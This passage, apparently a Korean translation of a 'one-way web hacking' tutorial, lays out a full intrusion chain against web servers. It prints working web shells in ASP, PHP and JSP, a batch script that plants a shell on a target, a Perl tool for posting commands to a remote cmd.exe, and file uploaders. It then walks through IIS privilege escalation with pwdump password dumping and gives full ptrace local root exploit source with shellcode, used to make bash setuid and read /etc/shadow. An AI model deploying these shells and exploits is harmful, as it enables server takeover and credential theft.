sub MyBaseUrl { local ($ret, $perlwarn); $perlwarn = $^W; $^W = 0; $ret = 'http://'. $ENV{'SERVER_NAME'. ($ENV{'SERVER_PORT'!= 80? ":$ENV{'SERVER_PORT'" : ''). $ENV{'SCRIPT_NAME'; $^W = $perlwarn; return $ret; sub MyFullUrl { local ($ret, $perlwarn); $perlwarn = $^W; $^W = 0; $ret = 'http://'. $ENV{'SERVER_NAME'. ($ENV{'SERVER_PORT'!= 80? ":$ENV{'SERVER_PORT'" : ''). $ENV{'SCRIPT_NAME'. $ENV{'PATH_INFO'. (length ($ENV{'QUERY_STRING')? "?$ENV{'QUERY_STRING'" : ''); $^W = $perlwarn; return $ret; sub MyURL { return &MyBaseUrl; sub CgiError { local (@msg) = @_; local ($i,$name); if (!@msg) { $name = &MyFullUrl; @msg = ("Error: script $name encountered fatal error\n");
; if (!$cgi_lib'headerout) { #') print &PrintHeader; print "<html>\n<head>\n<title>$msg[0]</title>\n</head>\n<body>\n"; print "<h1>$msg[0]</h1>\n"; foreach $i (1.. $#msg) { print "<p>$msg[$i]</p>\n"; $cgi_lib'headerout++; sub CgiDie { local (@msg) = @_; &CgiError (@msg); die @msg; sub PrintVariables { local (*in) = @_ if @_ == 1; local (%in) = @_ if @_ > 1; local ($out, $key, $output); $output = "\n<dl compact>\n"; foreach $key (sort keys(%in)) { foreach (split("\0", $in{$key)) { ($out = $_) =~ s/\n/<br>\n/g; $output.= "<dt><b>$key</b>\n <dd>:<i>$out</i>:<br>\n"; $output.= "</dl>\n"; return $output;
sub PrintEnv { &PrintVariables(*ENV); $cgi_lib'writefiles = $cgi_lib'writefiles; $cgi_lib'bufsize = $cgi_lib'bufsize ; $cgi_lib'maxbound $cgi_lib'filepre = $cgi_lib'maxbound; = $cgi_lib'filepre; 1; 4.0.2 ASP - cmdasp.asp 다음 ASP 스크립트는 IIS 가실행되고있는 Windows 서버들을위한웹기반의 command prompt 이다. cmdasp.asp 는 Maceo(maceo(at)dogmile.com) 에의해쓰여진원래스크립트의수정버전이다. <% Dim oscript, oscriptnet, ofilesys, ofile, szcmd, sztempfile
On Error Resume Next Set oscript = Server.CreateObject("WSCRIPT.SHELL") Set oscriptnet = Server.CreateObject("WSCRIPT.NETWORK") Set ofilesys = Server.CreateObject("Scripting.FileSystemObject") szcmd = Request.Form(".CMD") If (szcmd <> "") Then sztempfile = "C:\" & ofilesys.gettempname( ) Call oscript.run ("cmd.exe /c " & szcmd & " > " & sztempfile, 0, True) Set ofile = ofilesys.opentextfile (sztempfile, 1, False, 0) End If %> <FORM action="<%= Request.ServerVariables("URL") %>" method="post"> <input type=text name=".cmd" size=45 value="<%= szcmd %>"> <input type=submit value="run"> </FORM> <PRE> <% If (IsObject(oFile)) Then On Error Resume Next Response.Write Server.HTMLEncode(oFile.ReadAll) ofile.close Call ofilesys.deletefile(sztempfile, True) End If %> </PRE>
ASP 기반의 command prompt 스크립트에비해이스크립트의장점은어떤 COM 콤포넌트들도쉘명령을실행하기위해 등록될필요가없다는사실이다. 어떤관리자 (administrator) 권한도역시필요하지않다. 4.0.3 PHP - sys.php PHP 를사용해웹기반의쉘을만드는것은아주간단하다. 다음스크립트는 PHP 로짜여진웹기반의쉘이다. <FORM ACTION="sys.php" METHOD=POST> Command: <INPUT TYPE=TEXT NAME=cmd> <INPUT TYPE=SUBMIT VALUE="Run"> <FORM> <PRE> <?php if(isset($cmd)) { system($cmd);
?> <PRE> 4.0.4 JSP - cmdexec.jsp 다음 JSP 코드는 Java Server Pages 를지원하는 J2EE 어플리케이션서버를위한웹기반의 command prompt 이다. <FORM METHOD=GET ACTION='cmdexec.jsp'> <INPUT name='cmd' type=text> <INPUT type=submit value='run'> </FORM> <%@ page import="java.io.*" %> <% String cmd = request.getparameter("cmd"); String output = ""; if(cmd!= null) { String s = null; try { Process p = Runtime.getRuntime().exec(cmd); BufferedReader si = new BufferedReader(new InputStreamReader(p.getInputStream())); while((s = si.readline())!= null) { output += s;
catch(ioexception e) { e.printstacktrace(); %> <pre> <%=output %> </pre> (Thanks to Shreeraj Shah for cmdexec.jsp) 운영체제의명령을실행하도록하는어떤웹어플리케이션프로그래밍언어도웹기반의 command prompt 를만들수있다. 4.1 Web 기반의 command prompt 설치하기 원격명령실행을사용하기위해우리는 "echo" 와같은명령들을실행할수있으며, 그리고어떤파일에그 출력물을 redirect 할수있다. "echo" 명령을여러번사용하면우리는파일을만들수있으며, 원격웹서버에한번에 한라인씩만들수있다. 여기서유일하게필요한것은우리가목표웹서버에쓰기가능한디렉토리가필요하다는 것이다. 4.1.1 create_cmdasp.bat 다음은 4.0.2 섹션에서나오는 cmdasp.asp 파일을다시만들기위해 Windows DOS prompt 상에서실행될수있는일련의 명령이다. echo ^<^% > cmdasp.asp echo Dim oscript, oscriptnet, ofilesys, ofile, szcmd, sztempfile >> cmdasp.asp echo On Error Resume Next >> cmdasp.asp
echo Set oscript = Server.CreateObject(^"WSCRIPT.SHELL^") >> cmdasp.asp echo Set oscriptnet = Server.CreateObject(^"WSCRIPT.NETWORK^") >> cmdasp.asp echo Set ofilesys = Server.CreateObject(^"Scripting.FileSystemObject^") >> cmdasp.asp echo szcmd = Request.Form(^".CMD^") >> cmdasp.asp echo If (szcmd ^<^> ^"^") Then >> cmdasp.asp echo sztempfile = ^"C:\^" & ofilesys.gettempname() >> cmdasp.asp echo Call oscript.run(^"cmd.exe /c ^" ^& szcmd ^& ^" ^> ^" ^& sztempfile,0,true) >> cmdasp.asp echo Set ofle = ofilesys.opentextfile(sztempfile,1,false,0) >> cmdasp.asp echo End If >> cmdasp.asp echo ^%^> >> cmdasp.asp echo ^<FORM action=^"^<^%= Request.ServerVariables(^"URL^") ^%^>^" method=^"post^"^> >> cmdasp.asp echo ^<input type=text name=^".cmd^" size=70 value=^"^<^%= szcmd ^%^>^"^> >> cmdasp.asp echo ^<input type=submit value=^"run^"^> >> cmdasp.asp echo ^</FORM^> >> cmdasp.asp echo ^<PRE^> >> cmdasp.asp echo ^<^% >> cmdasp.asp echo If (IsObject(oFile)) Then >> cmdasp.asp echo On Error Resume Next >> cmdasp.asp echo Response.Write Server.HTMLEncode(oFile.ReadAll) >> cmdasp.asp echo ofile.close >> cmdasp.asp echo Call ofilesys.deletefile(sztempfile, True) >> cmdasp.asp echo End If >> cmdasp.asp echo ^%^> >> cmdasp.asp echo ^<^/PRE^> >> cmdasp.asp
위의명령들은목표웹서버상에서 "cmdasp.asp" 파일을만들기위해 post_cmd.pl 과같은스크립트를통해실행될수 있다. post_cmd.pl #!/usr/bin/perl # # post_cmd.pl # By Saumil Shah (c) net-square, 2001 # # Able to send arbitrary commands to http://target/cgi-bin/cmd.exe # and have them executed on the server. This is possible only if # CMD.EXE is placed in %wwwroot%\cgi-bin. (perhaps after running # some.. ah.. exploit) # # Note: If %wwwroot%\cgi-bin is not available, use the /scripts/ # directory in which case, the URL becomes # http://target/scripts/cmd.exe # # POST can send text to a back-end web program's standard input # This program is used to feed commands to CMD.EXE on a remote # webserver via standard input, and get the output on standard # output, back to us, via HTTP. # # Note: We cannot use this with a form, because forms always # send variable=value pairs back to the back-end web program. We # want to send commands here # # Things to be careful about (and which is why this program helps) #
# a) Since we cannot send command line arguments to CMD.EXE (such # as CMD /C), we have to make sure that the last command we # send is an "exit", otherwise, the command shell will not die # on the remote server. # # b) Since we are sending commands via POST, we have to calculate # the number of characters sent, and use that as a Content-length # value. use IO::Socket; use IO::Handle; if(defined($argv[0])) { $server = $ARGV[0]; else { print "usage: post_cmd.pl url [proxy:port] < data\n"; print "By Saumil Shah (c) net-square 2001\n\n"; print "post_cmd.pl takes all the data to be POSTed to the URL as\n"; print "standard input. Either enter the data manually and hit ^D (unix)\n"; print "or ^Z (dos) to end; or redirect the data using files or pipes\n\n"; exit(0); if($server =~ /\//o) { $server =~ s/http:\/\///o; $server =~ /(.*?)\/(.*)/o; $file = '/'. $2; $server = $1;
else { $file = '/'; if(defined($argv[1])) { $file = $ARGV[1]; # capture proxy server $proxy_flag = 0; if(defined($argv[1])) { ($proxy_ip, $proxy_port) = split(/:/, $ARGV[1]); $proxy_flag = 1; # take the commands that we need to send at this stage # Note: if we do not start off the set of commands to be POSTed with # a blank like, any occurence of a ":" in the first line causes the POST # request to fail. This may be an IIS issue or an HTTP issue. @commands = ("\n"); $content_length = 0; while($line = <STDIN>) { @commands = (@commands, qq{$line); $content_length += length($line); # comment out the block below if you are meticulous # about putting your own "exit" at the end, or if you want
# to use this as a generic POST client $line = "exit\n"; @commands = (@commands, $line); $content_length += length($line); # end of block $ = 1; ($target, $port) = split(/:/, $server); if($port == 0) { $port = 80; $server = $target; httpconnect($server, $port); post($file, $server, $port, $content_length, @commands); ## uncomment the while loop below ## to suppress the HTTP headers in the response #while(<s>) { # header # last if($_ eq "\r\n"); # while(<s>) { # body print $_; close(s); exit;
sub httpconnect { my ($server, $port) = @_; # check for proxy settings if($proxy_flag) { $server = $proxy_ip; $port = $proxy_port; chop($hostname = `hostname`); $proto = getprotobyname('tcp'); $thisaddr = gethostbyname($hostname); $thataddr = gethostbyname($server); $sin = sockaddr_in($port, $thataddr); socket(s, PF_INET, SOCK_STREAM, $proto) die "socket: $!"; connect(s, $sin) or die "connect: $!"; select(s); $ = 1; select(stdout); sub post { my ($file, $hostname, $port, $content_length, @commands) = @_; my $i; # check for proxy settings if($proxy_flag) { $file = "http://". $hostname. ":". $port. $file;
S->autoflush(1); print S 'POST '. $file. " HTTP/1.0\r\n"; print S 'Host: '. $hostname. "\n"; print S "Content-length: $content_length\n"; foreach $i (@commands) { print S $i; print S "\r\n"; 같은방식으로어떤임의의텍스트파일은 "echo" 와같은명령을사용하여목표서버에다시만들어질수있다. &, ", <, >,, % 등과같은쉘 meta-character 들은적절한 escape 문자들을사용해적절하게 escape 되어야한다. 대부분의 유닉스쉘에서 escape 문자는 " " 이고, Windows command shell 에서 escape 문자는 "^" 이다. 다른웹기반의 command prompt 들은같은방식으로목표웹서버에다시만들어질수있다. 4.1.2 임의의바이너리파일다시만들기 유닉스의 Bourne shell 의경우 " xhh" 와같은포맷을이용하여어떤파일에임의의문자들을쓰기위해 "echo" 명령을 사용하는것이가능하다. 여기서 HH 란두개의 digit hexadecimal 값을의미한다. 바이너리파일은다음과같은두개의 digit hexadecimal 수의한문자열에의해제시될수있다 : echo -e "\x0b\xad\xc0\xde\x0b\xad\xc0\xde\x0b\xad\xc0\xde" > file CMD.EXE 가임의의문자들을쓸수없을지라도 Windows 상에임의의바이너리파일을다시만드는것이역시가능하다. 트릭은임의의바이너리파일을만들기위해스크립트화되어있거나또는 non-interactive mode 에서 DEBUG.EXE 를 사용하는데있다.
5.0 File uploader 목표웹서버에명령을실행할수있는것에덧붙여공격자는역시웹서버에파일을전송하는것에관심을가질수 있다. FTP, NFS, NetBIOS 등과같은일반적인테크닉을사용해파일을전송하는것은방화벽이이모든것을막고있기 때문에가능하지않다. 이장애를극복하기위해우리는 file uploader 를만들필요가있다. 4.1.2 섹션에서언급된 테크닉은큰파일에대해서는전송속도가아주느릴수있다. 하지만더좋은옵션이있다. HTTP POST Multipart-MIME 방법 3 을이용하여파일을업로드하는것이가능하다. 파일의내용은 HTTP POST 리퀘스트 방식으로서버에보내진다. 서버에서는업로드스크립트가이내용들을받아들이고그것들을한파일로저장한다. HTTP Multipart-MIME POST 리퀘스트에대한자세한논의는이문서의논의밖이다. 파일업로드를수행하기위해우리는웹 서버프로세스 (nobody, IUSR_machinename, IWAM_machinename 등 ) 가파일을만들고쓸수있는권한을가진디렉토리가 필요하다. 아래는파일업로드스크립트의세가지예이다. 5.0.1 ASP - upload.asp 및 upload.inc 다음두파일은 HTTP POST Multipart-MIME 데이터를받아파일에저장하는코드를포함하고있다. ASP 는 Multipart- MIME 로인코딩된데이터를디코딩하는내장된루틴들을포함하지않고있기때문에적절한루틴을포함하고있는 upload.inc 라는보충파일이필요하다. upload.asp <form method=post ENCTYPE="multipart/form-data"> <input type=file name="file1"> <input type="submit" Name="Action" value="upload"> </form> <hr> <!--#INCLUDE FILE="upload.inc"--> <% If Request.ServerVariables("REQUEST_METHOD") = "POST" Then Set Fields = GetUpload() 3 http://www.w3.org/tr/rec-html40/interact/forms.html#h-17.13.4.2
If Fields("File1").FileName <> "" Then Fields("File1").Value.SaveAs Server.MapPath(".") & "\" & Fields("File1").FileName Response.Write("<LI>Upload: " & Fields("File1").FileName) End If End If %> upload.inc <SCRIPT RUNAT=SERVER LANGUAGE=VBSCRIPT> Function GetUpload() Dim Result Set Result = Nothing If Request.ServerVariables("REQUEST_METHOD") = "POST" Then Dim CT,PosB,Boundary,Length,PosE CT=Request.ServerVariables("HTTP_Content_Type") If LCase(Left(CT, 19)) = "multipart/form-data" Then PosB = InStr(LCase(CT), "boundary=") If PosB > 0 Then Boundary = Mid(CT, PosB + 9) PosB = InStr(LCase(CT), "boundary=") If PosB > 0 then PosB = InStr(Boundary, ",") If PosB > 0 Then Boundary = Left(Boundary, PosB - 1) end if Length = CLng(Request.ServerVariables("HTTP_Content_Length")) If Length > 0 And Boundary <> "" Then Boundary = "--" & Boundary Dim Head,Binary Binary = Request.BinaryRead(Length) Set Result = SeparateFields(Binary, Boundary)
Binary = Empty Else Err.Raise 10, "GetUpload", "Zero length request." End If Else Err.Raise 11, "GetUpload", "No file sent." End If Else Err.Raise 1, "GetUpload", "Bad request method." End If Set GetUpload = Result End Function Function SeparateFields(Binary, Boundary) Dim POB,PCB,PEOH,iLB,Fields Boundary=STB(Boundary) POB=InStrB(Binary,Boundary) PCB=InStrB(POB+LenB(Boundary),Binary,Boundary,0) Set Fields=CreateObject("Scripting.Dictionary") Do While (POB > 0 And PCB > 0 And Not ilb) Dim HC,FC,bFC,C_D,FFN,SFN,C_T,Field,TCAEB PEOH=InStrB(POB+Len(Boundary),Binary,STB(vbCrLf + vbcrlf)) HC=MidB(Binary,POB+LenB(Boundary)+2,PEOH-POB-LenB(Boundary)-2) bfc=midb(binary,(peoh+4),pcb-(peoh+4)-2) GetHeadFields BTS(HC),C_D,FFN,SFN,C_T Set Field=CUF() Set FC=CBD() FC.ByteArray=bFC FC.Length=LenB(bFC) Field.Name=FFN
Field.ContentDisposition=C_D Field.FilePath=SFN Field.FileName=GFN(SFN) Field.ContentType=C_T Field.Length=FC.Length Set Field.Value=FC Fields.Add FFN,Field TCAEB=BTS(MidB(Binary,PCB+LenB(Boundary), 2)) ilb=tcaeb="--" If Not ilb Then POB=PCB PCB=InStrB(POB + LenB(Boundary), Binary, Boundary) End If Loop Set SeparateFields = Fields End Function Function GetHeadFields(ByVal Head, C_D, Name, FileName, C_T) C_D=LTrim(SeparateField(Head,"content-disposition:",";")) Name=(SeparateField(Head, "name=", ";")) If Left(Name, 1) = """" Then Name = Mid(Name, 2, Len(Name) - 2) FileName = (SeparateField(Head, "filename=", ";")) If Left(FileName, 1) = """" Then FileName = Mid(FileName, 2, Len(FileName) - 2) End If C_T = LTrim(SeparateField(Head, "content-type:", ";")) End Function Function SeparateField(From, ByVal sstart, ByVal send) Dim PosB, PosE, sfrom
sfrom = LCase(From) PosB = InStr(sFrom, sstart) If PosB > 0 Then PosB = PosB + Len(sStart) PosE = InStr(PosB, sfrom, send) If PosE = 0 Then PosE = InStr(PosB, sfrom, vbcrlf) If PosE = 0 Then PosE = Len(sFrom) + 1 SeparateField = Mid(From, PosB, PosE - PosB) Else SeparateField = Empty End If End Function Function GFN(FullPath) Dim Pos, PosF PosF = 0 For Pos = Len(FullPath) To 1 Step -1 Select Case Mid(FullPath, Pos, 1) Case "/", "\" PosF = Pos + 1 Pos = 0 End Select Next If PosF = 0 Then PosF = 1 GFN = Mid(FullPath, PosF) End Function Function BTS(Binary) Dim cl1, cl2, cl3, pl1, pl2, pl3, L cl1=1
cl2=1 cl3=1 L = LenB(Binary) Do While cl1<=l pl3 = pl3 & Chr(AscB(MidB(Binary,cl1,1))) cl1=cl1+1 cl3=cl3+1 if cl3>300 then pl2 = pl2 & pl3 pl3 = "" cl3 = 1 cl2 = cl2 + 1 if cl2>200 then pl1 = pl1 & pl2 pl2 = "" cl2 = 1 End If End If Loop BTS = pl1 & pl2 & pl3 End Function Function STB(String) Dim I, B For I=1 to len(string) B = B & ChrB(Asc(Mid(String,I,1))) Next STB = B End Function
Function vbssaveas(filename, ByteArray) Dim FS,TextStream Set FS = CreateObject("Scripting.FileSystemObject") Set TextStream = FS.CreateTextFile(FileName) TextStream.Write BTS(ByteArray) TextStream.Close End Function </SCRIPT> <SCRIPT RUNAT=SERVER LANGUAGE=JSCRIPT> function CUF() { return new uf_init() function uf_init() { this.name=null; this.contentdisposition=null; this.filename=null; this.filepath=null; this.contenttype=null; this.value=null; this.length=null function CBD() { return new bin_init() function bin_init() { this.bytearray=null
this.length=null this.string=jsbts this.saveas=jssaveas function jsbts() { return BTS(this.ByteArray) function jssaveas(filename) { return vbssaveas(filename, this.bytearray) </SCRIPT> 5.0.2 Perl - upload.cgi Perl 과 cgi-lib.pl 을이용하여 uploader 스크립트를만드는것은쉽다. 다음예는그방법을보여준다.
#!/usr/bin/perl require "cgi-lib.pl"; print &PrintHeader; print "<form method='post' enctype='multipart/form-data' action='upload.cgi'>\n"; print "File path: <input type=file name=upfile>\n"; print "<input type=submit value=upload></form>\n"; &ReadParse; 5.0.3 PHP - upload.php PHP 로 uploader 를만드는것은간단하다. <FORM ENCTYPE="multipart/form-data" ACTION="upload.php" METHOD=POST> <INPUT TYPE="hidden" name="max_file_size" value="10000000"> <input type="file" name="userfile" size="30"> <INPUT TYPE="submit" VALUE="upload"> </FORM> <?php if($userfile_name!= "") { copy("$userfile", "./$userfile_name") or die("couldnt copy file"); echo "File name: $userfile_name<br>\n"; echo "File size: $userfile_size bytes<br>\n"; echo "File type: $userfile_type<br>\n";
?> 일단우리가 HTTP 상으로명령실행과파일업로드에필요한준비를끝내면목표웹서버에우리가원하는것을아주 많이할수있다. 그것들은다음과같다. 웹서버에소스코드와설정파일들을발견할수있고, 만약존재한다면목표웹서버가존재하는내부네트워크를발견할수있고, 웹서버에공격툴을업로드하여그것을실행할수있고,... 그리고휠씬더많은것들.. 다음단계는권한상승을위한시도이며, 다음섹션은이것에대한것이다. 6.0 One-Way Privilege Escalation 섹션 4.0 에서다룬것처럼웹기반의 command prompt 들은그것들이실행되는환경하에서의프로세스권한을 물려받는다. 일반적으로, 만약웹서버의프로세스가상승된권한으로실행되고있지않다면웹기반의 command prompt 들이가진권한은제한된사용자레벨의권한이다. front end 웹서버에 plug-in 된몇몇어플리케이션서버들은 상승된권한으로실행된다. 좀더깊은공격을하기위해서는웹기반의 command prompt 와 HTTP 파일 uploader 를설치한 후대부분의경우어떤형태의권한상승이필요하다. 권한상승공격은독특한것이아니다. 슈퍼사용자든또는좀더권한을가진사용자로든권한을상승시키는결과를 가져다주는많은 exploit 들이다양한운영체제에대해존재한다. 대부분의권한상승공격은 one-way 공격테크닉에 적용될수있다. 권한상승공격에대한자세한토론은이글의범위밖이다. 우리는두가지의예, 즉 "Microsoft IIS 5.0 In- Process Table Privilege Elevation Vulnerability" 4 와 "Linux Ptrace/Setuid Exec Vulnerability" 5 에대해토론할것이다. 4 http://securityfocus.com/bid/3193
권한상승 exploit 이비상호적으로실행될때상호대화식의쉘, 터미널, GUI 콘솔등을요구하지않는다는것을 주의해야한다. 이예를위해우리는 one-way 방식에맞게하기위해 Linux ptrace exploit 을수정해야만했다. 6.1 Windows/IIS privilege escalation Windows 2000 서버에 IIS 5.0 이실행되고있는 www1.example.com 의경우를예로들어보자. 그리고이서버는 이미공격을당했으며, 섹션 5.0 에나온 uploader 스크립트인 upload.asp 파일이이서버에존재한다는것을가정한다. 6.1.1 Windows 공격툴업로드 우리는웹기반의 command prompt 인 cmdasp.asp(4.0.2 섹션에서설명된것 ) 와두개의바이너리 idq.dll 과 pwdump.exe 를업로드할것이다. idq.dll 은 Microsoft IIS 5.0 In-Process Table Privilege Elevation Vulnerability 를 이용하는권한상승 exploit 이다. 실행을하면 Administrators 그룹에 IUSR_machinename 와 IWAM_machinename 계정을추가하고, 그래서웹기반의 command prompt 를포함해 IIS 프로세스권한으로실행되고있는모든프로세스와 어플리케이션들에게관리자권한을주게된다. pwdump.exe 는 password hash 를 dump 하는바이너리이며, 관리자권한으로 실행되는것을요구한다. 아래의스크린샷은이 3 개의바이너리가 www1.example.com 에업로드되고있는것을 보여준다. 5 http://securityfocus.com/bid/3447
우리는아래와같이 cmdasp.asp 를사용하고 dir 명령을이용해이파일들이성공적으로업로드되었는지확인할수 있다. 우리는이제아래와같이 "net localgroup administrators" 명령으로 Administrators 그룹의구성원들을확인할수있다. Administrators 그룹의유일한멤버는 Administrator user 이다.
6.1.2 idq.dll 권한상승 다음단계는 IUSR_machinename 와 IWAM_machinename 계정의권한을획득하기위해 idq.dll 을실행시키는것이다. 그 과정은아주간단하다. 다음 URL 이웹서버상에서처리되어야한다. 어떤결과도표시되지않고얼마후에 connection time out 될것이다. 이것은공격이대부분성공했을것이라는것을 나타낸다. 공격이실제로성공했는지확인하기위해 Administrators 그룹의멤버들을아래와같이다시확인해봐야한다. IUSR_W2KVM 와 IWAM_W2KVM 계정이이제 Administrators 그룹의멤버가되어있음을알수있다. 그러므로 cmdasp.asp 를 통해실행된모든명령들은 pwdump.exe 바이너리를실행하는것에의해표시된것처럼아래와같이관리자권한을 취한다.
이제우리는 www1.example.com 의완전한통제권을가지게되었다. 6.2 Linux/Apache 권한상승 이예를위해우리는 2.4 커널과 Apache 1.3.27 이실행되고있는리눅스서버인 www2.example.com 을살펴볼것이다. 앞의예에서처럼우리는이서버가이미공격을당했으며, 이서버에 5.0.2 섹션에서나왔던 upload.cgi 라는 uploader 스크립트가설치되어있다는것을전제로한다. 6.2.1 Unix 공격툴업로드하기 이서버에대해서우리는 4.0.1 섹션에서설명된것처럼웹기반의 command prompt 인 shell.cgi 와다른파일 ptrace1.c 를업로드할것이다. ptrace1.c 는 Linux Ptrace/Setuid Exec Vulnerability 6 기반의권한상승 exploit 이다. 이 exploit 은 onw-way 용도에맞게약간수정되었다. 공격에성공하면 root 권한의 /bin/bash 에대한 setuid 퍼미션을 제공한다. 이것은어떤쉘명령도 root 권한으로실행된다는것을의미한다. 웹기반의 command prompt 인 shell.cgi 는 내부적으로 /bin/bash 를실행하고, 그래서 shell.cgi 를통해실행되는모든명령은 root 권한으로실행되게된다. 수정된 ptrace exploit 의소스는다음과같다. ptrace1.c /* 6 http://securityfocus.com/bid/3447
* Linux kernel ptrace/kmod local root exploit * * Should work under all current 2.2.x and 2.4.x kernels. * * I discovered this stupid bug independently on January 25, 2003, that * is (almost) two month before it was fixed and published by Red Hat * and others. * * Wojciech Purczynski <cliph@isec.pl> * * THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* * IT IS PROVIDED "AS IS" AND WITHOUT ANY WARRANTY * * (c) 2003 Copyright by isec Security Research * * exploit modified for one-way use by Saumil Shah */ #include <grp.h> #include <stdio.h> #include <fcntl.h> #include <errno.h> #include <paths.h> #include <string.h> #include <stdlib.h> #include <signal.h> #include <unistd.h> #include <sys/wait.h> #include <sys/stat.h> #include <sys/param.h>
#include <sys/types.h> #include <sys/ptrace.h> #include <sys/socket.h> #include <linux/user.h> char cliphcode[] = "\x90\x90\xeb\x1f\xb8\xb6\x00\x00" "\x00\x5b\x31\xc9\x89\xca\xcd\x80" "\xb8\x0f\x00\x00\x00\xb9\xed\x0d" "\x00\x00\xcd\x80\x89\xd0\x89\xd3" "\x40\xcd\x80\xe8\xdc\xff\xff\xff"; #define CODE_SIZE (sizeof(cliphcode) - 1) pid_t parent = 1; pid_t child = 1; pid_t victim = 1; volatile int gotchild = 0; void fatal(char * msg) { perror(msg); kill(parent, SIGKILL); kill(child, SIGKILL); kill(victim, SIGKILL); void putcode(unsigned long * dst) { char buf[maxpathlen + CODE_SIZE];
unsigned long * src; int i, len; memcpy(buf, cliphcode, CODE_SIZE); len = readlink("/proc/self/exe", buf + CODE_SIZE, MAXPATHLEN - 1); if (len == -1) fatal("[-] Unable to read /proc/self/exe"); len += CODE_SIZE + 1; buf[len] = '\0'; src = (unsigned long*) buf; for (i = 0; i < len; i += 4) if (ptrace(ptrace_poketext, victim, dst++, *src++) == -1) fatal("[-] Unable to write shellcode"); void sigchld(int signo) { struct user_regs_struct regs; if (gotchild++ == 0) return; fprintf(stderr, "[+] Signal caught\n"); if (ptrace(ptrace_getregs, victim, NULL, ®s) == -1) fatal("[-] Unable to read registers"); fprintf(stderr, "[+] Shellcode placed at 0x%08lx\n", regs.eip);
putcode((unsigned long *)regs.eip); fprintf(stderr, "[+] Now wait for suid shell...\n"); if (ptrace(ptrace_detach, victim, 0, 0) == -1) fatal("[-] Unable to detach from victim"); exit(0); void sigalrm(int signo) { errno = ECANCELED; fatal("[-] Fatal error"); void do_child(void) { int err; child = getpid(); victim = child + 1; signal(sigchld, sigchld); do err = ptrace(ptrace_attach, victim, 0, 0); while (err == -1 && errno == ESRCH);
if (err == -1) fatal("[-] Unable to attach"); fprintf(stderr, "[+] Attached to %d\n", victim); while (!gotchild) ; if (ptrace(ptrace_syscall, victim, 0, 0) == -1) fatal("[-] Unable to setup syscall trace"); fprintf(stderr, "[+] Waiting for signal\n"); for(;;); void do_parent(char * progname) { struct stat st; int err; errno = 0; socket(af_security, SOCK_STREAM, 1); do { err = stat(progname, &st); while (err == 0 && (st.st_mode & S_ISUID)!= S_ISUID); if (err == -1) fatal("[-] Unable to stat myself"); alarm(0); system(progname); void prepare(void)
{ if (geteuid() == 0) { initgroups("root", 0); setgid(0); setuid(0); // execl(_path_bshell, _PATH_BSHELL, NULL); // line below is a modification to adapt the exploit // for one-way hacking execl("/bin/chmod", "/bin/chmod", "4755", "/bin/bash", NULL); fatal("[-] Unable to spawn shell"); int main(int argc, char ** argv) { prepare(); signal(sigalrm, sigalrm); alarm(10); parent = getpid(); child = fork(); victim = child + 1; if (child == -1) fatal("[-] Unable to fork"); if (child == 0) do_child(); else do_parent(argv[0]);
return 0; 아래의스크린샷은이두개의파일이 www2.example.com 에업로드되고있는것을보여준다. 우리는이제 ptrace1.c 를컴파일하고, 제대로컴파일되었는지확인할것이다. 또한현재의권한에대해서도점검할 것이다. 아래의스크린샷은 shell.cgi 를통해실행된명령을보여준다. gcc -o ptrace1 ptrace1.c ls -la id
shell.cgi 로확장된권한은 nobody 사용자의권한이다. 6.2.2 ptrace1.c 권한상승 다음단계는 ptrace1 을실행하는것이다. 이 exploit 은내부적으로다음명령을실행한다. /bin/chmod 4755 /bin/bash 아래의스크린샷은 ptrace1 이실행되고, /bin/bash 에대해파일이 listen 하고있는것을보여준다. 확실히 /bin/bash 바이너리에 setuid 퍼미션이적용된것을볼수있다. 다음스크린샷은두개의명령이실행된것을 보여준다. id cat /etc/shadow Shell.cgi 프로세스의 euid 가 root 인 0 임으로주목해라. 우리가 /etc/shadow 파일의내용을볼수있다는사실은 권한이상승되었음을입증한다. 이제우리는 www2.example.com 을완전히통제할수있게되었다.
7.0 웹기반의 SQL Command Prompt One-way 해킹은 HTTP 를통해파일전송이나원격명령실행이상의다른영역까지확장될수있다. 어떤 어플리케이션에서가장중요한구성요소들중의하나는데이터베이스이다. 이섹션은웹기반의 SQL command prompt 라고 불리는것을만들어어떻게우리가 one-way 해킹개념을상호통제데이터베이스서버에확장할수있는가를보여준다. 웹기반의 SQL command prompt 는사용자가 HTML 인터페이스를통해데이터베이스서버로연결하고, HTML 폼을통해 back-end 데이터베이스에대해 SQL 질의를할수있게한다. 웹기반의 SQL command prompt 는어떤데이터베이스가실행한웹어플리케이션이사용하는것과같은테크닉들을 사용한다. PHP 와 ASP 와같은웹프로그래밍언어들은 back-end 데이터베이스로연결하기위한기능을제공한다. 많은 경우에, 일단웹서버가공격당하게되면, 공격자는일반적으로어디에데이터베이스가있는지, 그리고그 데이터베이스에접근하기위해필요한정보 (credentials) 를확인하기위해웹서버에호스팅되고있는소스코드와 어플리케이션설정파일을살펴본다. 이것은웹기반의 SQL command prompt 를이용해데이터베이스를공격할때사용될 수있다. 7.1 SQL command prompt 분해 - sqlquery.asp 아래의이미지는 ASP 를이용해만들어진웹기반의 SQL command prompt 의예를보여준다. 이폼에는 5 개의주요입력영역이있다 : Server Name: 데이터베이스서버의상징적이름또는 IP 주소. 대부분의경우, 데이터베이스서버는웹서버시스템 과완전히다르다.
Database Name: 데이터베이스서버에호스팅되고있는데이터베이스들의 collection 중의데이터베이스이름 User Name: Password: 데이터베이스사용자 데이터베이스사용자의패스워드. 일반적으로, 데이터베이스의사용자와패스워드는공격을당한웹서 버에호스팅되는어플리케이션의소스코드와설정파일들을살펴보고확인할수있다. Query String: 데이터베이스에보내지고실행될 SQL query 다른두파라미터 Driver 와 Connection String 은데이터베이스에대한적절한드라이버와경로를선택하는데사용된다. Connection String 은선택의여지가있는파라미터이다. sqlquery.asp 에서는 Microsoft SQL server, ODBC 에대해 Oracle, ODBC 에대해 MySQL, Foxpro 와같은 4 개의드라이버를통한연결옵션이있다. 더많은드라이버가쉽게추가될수있다. sqlquery.asp 의소스코드는다음과같다. sqlquery.asp <%@ Language=VBScript %> <!-- SQL Queries via ASP Developed by Ketan Vyas, Net-Square v1.1 Sept 15, 2003. Added connection provider support for MySQL ODBC and Foxpro v1.0 June 16, 2001. Added connection provider support for Oracle servers v0.9 June 11, 2001. This page allows for remote SQL queries to be performed via a web page. Currently, it requires connection information for the
